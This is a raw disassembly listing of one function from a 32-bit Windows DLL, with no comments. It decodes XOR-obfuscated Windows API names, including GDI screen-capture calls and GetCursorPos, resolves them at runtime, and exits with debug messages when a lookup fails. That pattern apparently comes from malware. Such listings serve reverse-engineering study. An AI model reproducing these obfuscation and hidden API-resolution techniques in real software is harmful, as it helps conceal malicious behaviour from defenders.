mov byte [esp + 0x12], 0x43
xor bl, al
mov byte [esp + 0x76], cl
xor dh, al
mov byte [esp + 0x7e], 0
mov dl, 0x6c
mov byte [esp + 0x78], bl
xor dl, al
mov byte [esp + 0x7b], dh
mov ah, 0x61
mov byte [esp + 0x77], dl
xor ah, al
mov byte [esp + 0x7e], 0
mov ch, 0x73
mov byte [esp + 0x79], ah
xor ch, al
mov bh, 0x44
xor bh, al
mov byte [esp + 0x7a], ch
mov al, byte [esp + 0x12]
mov ecx, 0x100ac240
xor al, byte [esp + 0x74]
mov byte [esp + 0x7d], al
lea eax, [esp + 0x75]
push eax
push dword [0x100ac254]
mov byte [esp + 0x84], bh
call fcn.1001ae00
xor ecx, ecx
mov dword [0x100ac3cc], eax
test eax, eax
jne 0x10019c22
movaps xmm0, xmmword [0x1009ccf0]
movups xmmword [esp + 0x94f], xmm0
mov dword [esp + 0x96f], 0x41660063
movaps xmm0, xmmword [0x1009cf00]
movups xmmword [esp + 0x95f], xmm0
mov word [esp + 0x973], 0x4c49
mov byte [esp + 0x975], cl
nop dword [eax]
mov al, byte [esp + 0x94f]
xor byte [esp + ecx + 0x950], al
inc ecx
cmp ecx, 0x25
jl 0x10019bf0
lea eax, [esp + 0x950]
mov byte [esp + 0x975], 0
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
movaps xmm0, xmmword [0x1009d0c0]
movups xmmword [esp + 0x436], xmm0
mov word [esp + 0x446], 0x70
nop dword [eax + eax]
mov al, byte [esp + 0x436]
xor byte [esp + ecx + 0x437], al
inc ecx
cmp ecx, 0x10
jl 0x10019c40
lea eax, [esp + 0x437]
mov byte [esp + 0x447], 0
push eax
push dword [0x100ac254]
mov ecx, 0x100ac240
call fcn.1001ae00
xor ecx, ecx
mov dword [0x100ac3d0], eax
test eax, eax
jne 0x10019d02
movaps xmm0, xmmword [0x1009d650]
movups xmmword [esp + 0x142d], xmm0
mov dword [esp + 0x144d], 0xf3e5c4e4
movaps xmm0, xmmword [0x1009d610]
movups xmmword [esp + 0x143d], xmm0
mov dword [esp + 0x1451], 0xf0eff4eb
mov dword [esp + 0x1455], 0xe9e1c6a0
mov word [esp + 0x1459], 0xec
nop dword [eax]
mov al, byte [esp + 0x142d]
xor byte [esp + ecx + 0x142e], al
inc ecx
cmp ecx, 0x2c
jl 0x10019cd0
lea eax, [esp + 0x142e]
mov byte [esp + 0x145a], 0
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
movaps xmm0, xmmword [0x1009d730]
movups xmmword [esp + 0x78b], xmm0
mov dword [esp + 0x79b], 0xedf2efe6
mov dword [esp + 0x79f], 0xefe9f4e1
mov word [esp + 0x7a3], 0xd7ee
mov byte [esp + 0x7a5], 0
nop dword [eax]
mov al, byte [esp + 0x78b]
xor byte [esp + ecx + 0x78c], al
inc ecx
cmp ecx, 0x19
jl 0x10019d40
lea eax, [esp + 0x78c]
mov byte [esp + 0x7a5], 0
push eax
push dword [0x100ac254]
mov ecx, 0x100ac240
call fcn.1001ae00
xor ecx, ecx
mov dword [0x100ac3d4], eax
test eax, eax
jne 0x10019e02
movaps xmm0, xmmword [0x1009d4b0]
movups xmmword [esp + 0x1a71], xmm0
mov dword [esp + 0x1aa1], 0xc1e680f7
movaps xmm0, xmmword [0x1009d750]
movups xmmword [esp + 0x1a81], xmm0
mov word [esp + 0x1aa5], 0xccc9
movaps xmm0, xmmword [0x1009d530]
movups xmmword [esp + 0x1a91], xmm0
mov byte [esp + 0x1aa7], cl
nop dword [eax]
mov al, byte [esp + 0x1a71]
xor byte [esp + ecx + 0x1a72], al
inc ecx
cmp ecx, 0x35
jl 0x10019dd0
lea eax, [esp + 0x1a72]
mov byte [esp + 0x1aa7], 0
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
movaps xmm0, xmmword [0x1009d0e0]
movups xmmword [esp + 0x448], xmm0
mov word [esp + 0x458], 0x70
nop dword [eax + eax]
mov al, byte [esp + 0x448]
xor byte [esp + ecx + 0x449], al
inc ecx
cmp ecx, 0x10
jl 0x10019e20
lea eax, [esp + 0x449]
mov byte [esp + 0x459], 0
push eax
push dword [0x100ac254]
mov ecx, 0x100ac240
call fcn.1001ae00
xor ecx, ecx
mov dword [0x100ac3d8], eax
test eax, eax
jne 0x10019ee2
movaps xmm0, xmmword [0x1009d650]
movups xmmword [esp + 0x145b], xmm0
mov dword [esp + 0x147b], 0xf3e5c4f4
movaps xmm0, xmmword [0x1009d7f0]
movups xmmword [esp + 0x146b], xmm0
mov dword [esp + 0x147f], 0xf0eff4eb
mov dword [esp + 0x1483], 0xe9e1c6a0
mov word [esp + 0x1487], 0xec
nop dword [eax]
mov al, byte [esp + 0x145b]
xor byte [esp + ecx + 0x145c], al
inc ecx
cmp ecx, 0x2c
jl 0x10019eb0
lea eax, [esp + 0x145c]
mov byte [esp + 0x1488], 0
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
movaps xmm0, xmmword [0x1009d0d0]
movups xmmword [esp + 0x45a], xmm0
mov word [esp + 0x46a], 0x70
nop dword [eax + eax]
mov al, byte [esp + 0x45a]
xor byte [esp + ecx + 0x45b], al
inc ecx
cmp ecx, 0x10
jl 0x10019f00
lea eax, [esp + 0x45b]
mov byte [esp + 0x46b], 0
push eax
push dword [0x100ac254]
mov ecx, 0x100ac240
call fcn.1001ae00
mov dword [0x100ac3dc], eax
test eax, eax
jne 0x10019fc2
movaps xmm0, xmmword [0x1009d650]
xor ecx, ecx
movups xmmword [esp + 0x1489], xmm0
mov dword [esp + 0x14a9], 0xf3e5c4e4
movaps xmm0, xmmword [0x1009d620]
movups xmmword [esp + 0x1499], xmm0
mov dword [esp + 0x14ad], 0xf0eff4eb
mov dword [esp + 0x14b1], 0xe9e1c6a0
mov word [esp + 0x14b5], 0xec
nop dword [eax]
mov al, byte [esp + 0x1489]
xor byte [esp + ecx + 0x148a], al
inc ecx
cmp ecx, 0x2c
jl 0x10019f90
lea eax, [esp + 0x148a]
mov byte [esp + 0x14b6], 0
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
xor cl, cl
mov dword [esp + 0x1a8], 0x6f6c4300
mov dword [esp + 0x1ac], 0x65446573
xor eax, eax
mov dword [esp + 0x1b0], 0x6f746b73
mov word [esp + 0x1b4], 0x70
xor byte [esp + eax + 0x1a9], cl
inc eax
cmp eax, 0xc
jge 0x1001a007
mov cl, byte [esp + 0x1a8]
jmp 0x10019ff1
lea eax, [esp + 0x1a9]
mov byte [esp + 0x1b5], 0
push eax
push dword [0x100ac254]
mov ecx, 0x100ac240
call fcn.1001ae00
mov dword [0x100ac3e0], eax
test eax, eax
jne 0x1001a0b2
movaps xmm0, xmmword [0x1009cef0]
xor ecx, ecx
movups xmmword [esp + 0xd23], xmm0
mov dword [esp + 0xd43], 0x706f746b
movaps xmm0, xmmword [0x1009d130]
movups xmmword [esp + 0xd33], xmm0
mov dword [esp + 0xd47], 0x69614620
mov word [esp + 0xd4b], 0x6c
nop dword [eax]
nop dword [eax + eax]
mov al, byte [esp + 0xd23]
xor byte [esp + ecx + 0xd24], al
inc ecx
cmp ecx, 0x28
jl 0x1001a080
lea eax, [esp + 0xd24]
mov byte [esp + 0xd4c], 0
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
xor cl, cl
mov dword [esp + 0x1b6], 0x74654700
mov dword [esp + 0x1ba], 0x73727543
xor eax, eax
mov dword [esp + 0x1be], 0x6f50726f
mov word [esp + 0x1c2], 0x73
xor byte [esp + eax + 0x1b7], cl
inc eax
cmp eax, 0xc
jge 0x1001a0f7
mov cl, byte [esp + 0x1b6]
jmp 0x1001a0e1
lea eax, [esp + 0x1b7]
mov byte [esp + 0x1c3], 0
push eax
push dword [0x100ac254]
mov ecx, 0x100ac240
call fcn.1001ae00
mov dword [0x100ac3e4], eax
test eax, eax
jne 0x1001a1a2
movaps xmm0, xmmword [0x1009cef0]
xor ecx, ecx
movups xmmword [esp + 0xd4d], xmm0
mov dword [esp + 0xd6d], 0x736f5072
movaps xmm0, xmmword [0x1009d0a0]
movups xmmword [esp + 0xd5d], xmm0
mov dword [esp + 0xd71], 0x69614620
mov word [esp + 0xd75], 0x6c
nop dword [eax]
nop dword [eax + eax]
mov al, byte [esp + 0xd4d]
xor byte [esp + ecx + 0xd4e], al
inc ecx
cmp ecx, 0x28
jl 0x1001a170
lea eax, [esp + 0xd4e]
mov byte [esp + 0xd76], 0
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov byte [esp + 0x7f], 0xc0
mov al, 0x83
xor al, byte [esp + 0x7f]
mov cl, 0xa8
mov byte [esp + 0x80], al
mov dl, 0xa1
mov al, byte [esp + 0x7f]
mov ah, 0x8e
xor cl, al
mov byte [esp + 0x12], 0x97
xor dl, al
mov byte [esp + 0x81], cl
xor ah, al
mov byte [esp + 0x89], 0
mov ch, 0xa5
mov byte [esp + 0x84], ah
xor ch, al
mov byte [esp + 0x82], dl
mov dh, 0xb8
mov byte [esp + 0x85], ch
xor dh, al
mov byte [esp + 0x89], 0
mov bl, 0xb2
mov byte [esp + 0x86], dh
xor bl, al
mov bh, 0xb4
xor bh, al
mov byte [esp + 0x83], bl
mov al, byte [esp + 0x12]
mov ecx, 0x100ac240
xor al, byte [esp + 0x7f]
mov byte [esp + 0x88], al
lea eax, [esp + 0x80]
push eax
push dword [0x100ac254]
mov byte [esp + 0x8f], bh
call fcn.1001ae00
mov dword [0x100ac3e8], eax
test eax, eax
jne 0x1001a2c2
movaps xmm0, xmmword [0x1009d250]
xor ecx, ecx
movups xmmword [esp + 0x976], xmm0
mov dword [esp + 0x996], 0x81a6c0b7
movaps xmm0, xmmword [0x1009d320]
movups xmmword [esp + 0x986], xmm0
mov word [esp + 0x99a], 0x8c89
mov byte [esp + 0x99c], al
nop word [eax + eax]
mov al, byte [esp + 0x976]
xor byte [esp + ecx + 0x977], al
inc ecx
cmp ecx, 0x25
jl 0x1001a290
lea eax, [esp + 0x977]
mov byte [esp + 0x99c], 0
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov edx, dword [0x100ac258]
test edx, edx
je 0x1001a3b2
movaps xmm0, xmmword [0x1009d100]
xor ecx, ecx
movups xmmword [esp + 0x6d5], xmm0
mov dword [esp + 0x6e5], 0x7365636f
mov dword [esp + 0x6e9], 0x64695373
mov byte [esp + 0x6ed], 0
nop
mov al, byte [esp + 0x6d5]
xor byte [esp + ecx + 0x6d6], al
inc ecx
cmp ecx, 0x17
jl 0x1001a300
lea eax, [esp + 0x6d6]
mov byte [esp + 0x6ed], 0
push eax
push edx
mov ecx, 0x100ac240
call fcn.1001ae00
mov dword [0x100ac3ec], eax
test eax, eax
jne 0x1001a3b2
movaps xmm0, xmmword [0x1009d250]
xor ecx, ecx
movups xmmword [esp + 0x1963], xmm0
mov dword [esp + 0x1993], 0x8c8981a6
movaps xmm0, xmmword [0x1009d2d0]
movups xmmword [esp + 0x1973], xmm0
mov byte [esp + 0x1997], al
movaps xmm0, xmmword [0x1009d470]
movups xmmword [esp + 0x1983], xmm0
nop dword [eax]
mov al, byte [esp + 0x1963]
xor byte [esp + ecx + 0x1964], al
inc ecx
cmp ecx, 0x33
jl 0x1001a380
lea eax, [esp + 0x1964]
mov byte [esp + 0x1997], 0
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov edx, dword [0x100ac25c]
test edx, edx
je 0x1001a4a2
movaps xmm0, xmmword [0x1009d0f0]
xor ecx, ecx
movups xmmword [esp + 0x5a2], xmm0
mov dword [esp + 0x5b2], 0x69536d6f
mov word [esp + 0x5b6], 0x64
nop word [eax + eax]
mov al, byte [esp + 0x5a2]
xor byte [esp + ecx + 0x5a3], al
inc ecx
cmp ecx, 0x14
jl 0x1001a3f0
lea eax, [esp + 0x5a3]
mov byte [esp + 0x5b7], 0
push eax
push edx
mov ecx, 0x100ac240
call fcn.1001ae00
mov dword [0x100ac3f0], eax
test eax, eax
jne 0x1001a4a2
movaps xmm0, xmmword [0x1009cef0]
xor ecx, ecx
movups xmmword [esp + 0x172d], xmm0
mov word [esp + 0x175d], 0x6c
movaps xmm0, xmmword [0x1009cf20]
movups xmmword [esp + 0x173d], xmm0
movaps xmm0, xmmword [0x1009cfc0]
movups xmmword [esp + 0x174d], xmm0
nop word [eax + eax]
mov al, byte [esp + 0x172d]
xor byte [esp + ecx + 0x172e], al
inc ecx
cmp ecx, 0x30
jl 0x1001a470
lea eax, [esp + 0x172e]
mov byte [esp + 0x175e], 0
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov edx, dword [0x100ac260]
test edx, edx
je 0x1001abe2
movaps xmm0, xmmword [0x1009d010]
xor ecx, ecx
movups xmmword [esp + 0x4ce], xmm0
mov dword [esp + 0x4de], 0x434465
nop dword [eax]
mov al, byte [esp + 0x4ce]
xor byte [esp + ecx + 0x4cf], al
inc ecx
cmp ecx, 0x12
jl 0x1001a4d0
lea eax, [esp + 0x4cf]
mov byte [esp + 0x4e1], 0
push eax
push edx
mov ecx, 0x100ac240
call fcn.1001ae00
xor ecx, ecx
mov dword [0x100ac3f4], eax
test eax, eax
jne 0x1001a572
movaps xmm0, xmmword [0x1009d370]
movups xmmword [esp + 0x15a5], xmm0
movaps xmm0, xmmword [0x1009d3f0]
movups xmmword [esp + 0x15b5], xmm0
movaps xmm0, xmmword [0x1009c970]
movups xmmword [esp + 0x15c5], xmm0
nop dword [eax + eax]
mov al, byte [esp + 0x15a5]
xor byte [esp + ecx + 0x15a6], al
inc ecx
cmp ecx, 0x2e
jl 0x1001a540
lea eax, [esp + 0x15a6]
mov byte [esp + 0x15d4], 0
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
movaps xmm0, xmmword [0x1009d080]
movups xmmword [esp + 0x46c], xmm0
mov word [esp + 0x47c], 0x6e
nop dword [eax + eax]
mov al, byte [esp + 0x46c]
xor byte [esp + ecx + 0x46d], al
inc ecx
cmp ecx, 0x10
jl 0x1001a590
lea eax, [esp + 0x46d]
mov byte [esp + 0x47d], 0
push eax
push dword [0x100ac260]
mov ecx, 0x100ac240
call fcn.1001ae00
mov dword [0x100ac3f8], eax
test eax, eax
jne 0x1001a652
movaps xmm0, xmmword [0x1009d650]
xor ecx, ecx
movups xmmword [esp + 0x14b7], xmm0
mov dword [esp + 0x14d7], 0xe3e5d3c2
movaps xmm0, xmmword [0x1009d4f0]
movups xmmword [esp + 0x14c7], xmm0
mov dword [esp + 0x14db], 0xeeefe9f4
mov dword [esp + 0x14df], 0xe9e1c6a0
mov word [esp + 0x14e3], 0xec
nop dword [eax]
mov al, byte [esp + 0x14b7]
xor byte [esp + ecx + 0x14b8], al
inc ecx
cmp ecx, 0x2c
jl 0x1001a620
lea eax, [esp + 0x14b8]
mov byte [esp + 0x14e4], 0
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
xor cl, cl
mov dword [esp + 0x1c4], 0x6c655300
mov dword [esp + 0x1c8], 0x4f746365
xor eax, eax
mov dword [esp + 0x1cc], 0x63656a62
mov word [esp + 0x1d0], 0x74
xor byte [esp + eax + 0x1c5], cl
inc eax
cmp eax, 0xc
jge 0x1001a697
mov cl, byte [esp + 0x1c4]
jmp 0x1001a681
lea eax, [esp + 0x1c5]
mov byte [esp + 0x1d1], 0
push eax
push dword [0x100ac260]
mov ecx, 0x100ac240
call fcn.1001ae00
mov dword [0x100ac3fc], eax
test eax, eax
jne 0x1001a742
movaps xmm0, xmmword [0x1009cef0]
xor ecx, ecx
movups xmmword [esp + 0xd77], xmm0
mov dword [esp + 0xd97], 0x7463656a
movaps xmm0, xmmword [0x1009ced0]
movups xmmword [esp + 0xd87], xmm0
mov dword [esp + 0xd9b], 0x69614620
mov word [esp + 0xd9f], 0x6c
nop dword [eax]
nop dword [eax + eax]
mov al, byte [esp + 0xd77]
xor byte [esp + ecx + 0xd78], al
inc ecx
cmp ecx, 0x28
jl 0x1001a710
lea eax, [esp + 0xd78]
mov byte [esp + 0xda0], 0
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov al, 0x44
mov byte [esp + 0x3e], 0
mov dh, al
mov byte [esp + 0x47], 0
xor al, byte [esp + 0x3e]
mov cl, 0x65
mov byte [esp + 0x3f], al
mov bl, cl
mov al, byte [esp + 0x3e]
mov ah, 0x74
mov ch, cl
mov byte [esp + 0x47], 0
xor ah, al
mov dl, 0x6c
xor cl, al
mov byte [esp + 0x43], ah
xor ch, al
mov byte [esp + 0x40], cl
mov bh, 0x43
mov byte [esp + 0x44], ch
xor dl, al
xor bl, al
xor dh, al
mov byte [esp + 0x41], dl
xor bh, al
mov byte [esp + 0x42], bl
lea eax, [esp + 0x3f]
mov byte [esp + 0x45], dh
push eax
push dword [0x100ac260]
mov ecx, 0x100ac240
mov byte [esp + 0x4e], bh
call fcn.1001ae00
mov dword [0x100ac400], eax
test eax, eax
jne 0x1001a822
movaps xmm0, xmmword [0x1009d650]
xor ecx, ecx
movups xmmword [esp + 0x88d], xmm0
mov dword [esp + 0x8ad], 0xe9e1c6a0
movaps xmm0, xmmword [0x1009d4a0]
movups xmmword [esp + 0x89d], xmm0
mov word [esp + 0x8b1], 0xec
nop
mov al, byte [esp + 0x88d]
xor byte [esp + ecx + 0x88e], al
inc ecx
cmp ecx, 0x24
jl 0x1001a7f0
lea eax, [esp + 0x88e]
mov byte [esp + 0x8b2], 0
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
xor cl, cl
mov dword [esp + 0x1d2], 0x6c654400
mov dword [esp + 0x1d6], 0x4f657465
xor eax, eax
mov dword [esp + 0x1da], 0x63656a62
mov word [esp + 0x1de], 0x74
xor byte [esp + eax + 0x1d3], cl
inc eax
cmp eax, 0xc
jge 0x1001a867
mov cl, byte [esp + 0x1d2]
jmp 0x1001a851
lea eax, [esp + 0x1d3]
mov byte [esp + 0x1df], 0
push eax
push dword [0x100ac260]
mov ecx, 0x100ac240
call fcn.1001ae00
xor ecx, ecx
mov dword [0x100ac404], eax
test eax, eax
jne 0x1001a912
movaps xmm0, xmmword [0x1009cef0]
movups xmmword [esp + 0xda1], xmm0
mov dword [esp + 0xdc1], 0x7463656a
movaps xmm0, xmmword [0x1009cec0]
movups xmmword [esp + 0xdb1], xmm0
mov dword [esp + 0xdc5], 0x69614620
mov word [esp + 0xdc9], 0x6c
nop dword [eax]
nop dword [eax + eax]
mov al, byte [esp + 0xda1]
xor byte [esp + ecx + 0xda2], al
inc ecx
cmp ecx, 0x28
jl 0x1001a8e0
lea eax, [esp + 0xda2]
mov byte [esp + 0xdca], 0
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
movaps xmm0, xmmword [0x1009d700]
movups xmmword [esp + 0x68b], xmm0
mov dword [esp + 0x69b], 0xf4e9c2e5
mov dword [esp + 0x69f], 0xf0e1ed
nop word [eax + eax]
mov al, byte [esp + 0x68b]
xor byte [esp + ecx + 0x68c], al
inc ecx
cmp ecx, 0x16
jl 0x1001a940
lea eax, [esp + 0x68c]
mov byte [esp + 0x6a2], 0
push eax
push dword [0x100ac260]
mov ecx, 0x100ac240
call fcn.1001ae00
mov dword [0x100ac408], eax
test eax, eax
jne 0x1001a9f2
movaps xmm0, xmmword [0x1009d370]
xor ecx, ecx
movups xmmword [esp + 0x18c5], xmm0
mov dword [esp + 0x18f5], 0xaca9a1
movaps xmm0, xmmword [0x1009d3f0]
movups xmmword [esp + 0x18d5], xmm0
movaps xmm0, xmmword [0x1009d2b0]
movups xmmword [esp + 0x18e5], xmm0
nop dword [eax + eax]
mov al, byte [esp + 0x18c5]
xor byte [esp + ecx + 0x18c6], al
inc ecx
cmp ecx, 0x32
jl 0x1001a9c0
lea eax, [esp + 0x18c6]
mov byte [esp + 0x18f8], 0
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov byte [esp + 0x8a], 0
mov al, 0x47
xor al, byte [esp + 0x8a]
mov dl, 0x74
mov byte [esp + 0x8b], al
mov bh, dl
mov al, byte [esp + 0x8a]
mov cl, 0x65
xor cl, al
mov byte [esp + 0x12], 0x73
xor dl, al
mov byte [esp + 0x8c], cl
xor bh, al
mov byte [esp + 0x94], 0
mov ah, 0x49
mov byte [esp + 0x8d], dl
xor ah, al
mov byte [esp + 0x92], bh
mov ch, 0x42
mov byte [esp + 0x8f], ah
xor ch, al
mov byte [esp + 0x94], 0
mov dh, 0x69
mov byte [esp + 0x90], ch
xor dh, al
mov bl, 0x44
xor bl, al
mov byte [esp + 0x91], dh
mov al, byte [esp + 0x12]
mov ecx, 0x100ac240
xor al, byte [esp + 0x8a]
mov byte [esp + 0x93], al
lea eax, [esp + 0x8b]
push eax
push dword [0x100ac260]
mov byte [esp + 0x96], bl
call fcn.1001ae00
mov dword [0x100ac40c], eax
test eax, eax
jne 0x1001ab22
movaps xmm0, xmmword [0x1009ccf0]
xor ecx, ecx
movups xmmword [esp + 0x99d], xmm0
mov dword [esp + 0x9bd], 0x41660053
movaps xmm0, xmmword [0x1009ce30]
movups xmmword [esp + 0x9ad], xmm0
mov word [esp + 0x9c1], 0x4c49
mov byte [esp + 0x9c3], al
nop word [eax + eax]
mov al, byte [esp + 0x99d]
xor byte [esp + ecx + 0x99e], al
inc ecx
cmp ecx, 0x25
jl 0x1001aaf0
lea eax, [esp + 0x99e]
mov byte [esp + 0x9c3], 0
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov dh, pe_nt_image_headers32
mov byte [esp + 0x29], 0
mov al, 0xc2
mov byte [esp + 0x22], dh
mov bl, al
mov byte [esp + 0x29], 0
mov ah, 0xec
xor al, dh
xor ah, dh
mov byte [esp + 0x23], al
mov dl, 0xf4
mov byte [esp + 0x27], ah
mov ch, dl
lea eax, [esp + 0x23]
mov cl, 0xe9
xor ch, dh
xor cl, dh
mov byte [esp + 0x28], ch
push eax
push dword [0x100ac260]
mov byte [esp + 0x2c], cl
xor dl, dh
xor bl, dh
mov byte [esp + 0x2d], dl
mov ecx, 0x100ac240
mov byte [esp + 0x2e], bl
call fcn.1001ae00
mov dword [0x100ac410], eax
test eax, eax
jne 0x1001abe2
movaps xmm0, xmmword [0x1009d370]
xor ecx, ecx
movups xmmword [esp + 0x81d], xmm0
mov dword [esp + 0x83d], 0xaca9a1
movaps xmm0, xmmword [0x1009d2c0]
movups xmmword [esp + 0x82d], xmm0
nop dword [eax + eax]
mov al, byte [esp + 0x81d]
xor byte [esp + ecx + 0x81e], al
inc ecx
cmp ecx, 0x22
jl 0x1001abb0
lea eax, [esp + 0x81e]
mov byte [esp + 0x840], 0
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
cmp dword [0x100ac264], 0
je 0x1001adc2
movaps xmm0, xmmword [0x1009c910]
xor ecx, ecx
movups xmmword [esp + 0x341], xmm0
mov al, byte [esp + 0x341]
xor byte [esp + ecx + 0x342], al
inc ecx
cmp ecx, 0xe
jl 0x1001ac00
lea eax, [esp + 0x342]
mov byte [esp + 0x350], 0
push eax
push dword [0x100ac264]
mov ecx, 0x100ac240
call fcn.1001ae00
mov dword [0x100ac414], eax
test eax, eax
jne 0x1001acc2
movaps xmm0, xmmword [0x1009cb70]
xor ecx, ecx
movups xmmword [esp + 0x11b0], xmm0
mov dword [esp + 0x11d0], 0x262e0925
movaps xmm0, xmmword [0x1009cc10]
movups xmmword [esp + 0x11c0], xmm0
mov dword [esp + 0x11d4], 0x660172f
mov dword [esp + 0x11d8], 0x2c2921
nop dword [eax]
nop word [eax + eax]
mov al, byte [esp + 0x11b0]
xor byte [esp + ecx + 0x11b1], al
inc ecx
cmp ecx, 0x2a
jl 0x1001ac90
lea eax, [esp + 0x11b1]
mov byte [esp + 0x11db], 0
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov cl, 0xc0
mov dword [esp + 0x2b2], 0xa5a893c0
mov dword [esp + 0x2b6], 0xb885acac
xor eax, eax
mov dword [esp + 0x2ba], 0xb4b5a3a5
mov word [esp + 0x2be], 0x97a5
mov byte [esp + 0x2c0], 0
nop dword [eax]
xor byte [esp + eax + 0x2b3], cl
inc eax
cmp eax, 0xd
jge 0x1001ad16
mov cl, byte [esp + 0x2b2]
jmp 0x1001ad00
lea eax, [esp + 0x2b3]
mov byte [esp + 0x2c0], 0
push eax
push dword [0x100ac264]
mov ecx, 0x100ac240
call fcn.1001ae00
mov dword [0x100ac418], eax
test eax, eax
jne 0x1001adc2
movaps xmm0, xmmword [0x1009ca60]
xor ecx, ecx
movups xmmword [esp + 0x1025], xmm0
mov dword [esp + 0x1045], 0x5141503
movaps xmm0, xmmword [0x1009ca80]
movups xmmword [esp + 0x1035], xmm0
mov dword [esp + 0x1049], 0x1264037
mov word [esp + 0x104d], 0xc09
mov byte [esp + 0x104f], al
nop word [eax + eax]
mov al, byte [esp + 0x1025]
xor byte [esp + ecx + 0x1026], al
inc ecx
cmp ecx, 0x29
jl 0x1001ad90
lea eax, [esp + 0x1026]
mov byte [esp + 0x104f], 0
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
pop edi
pop esi
mov eax, 0x100ac240
pop ebx
mov esp, ebp
pop ebp
ret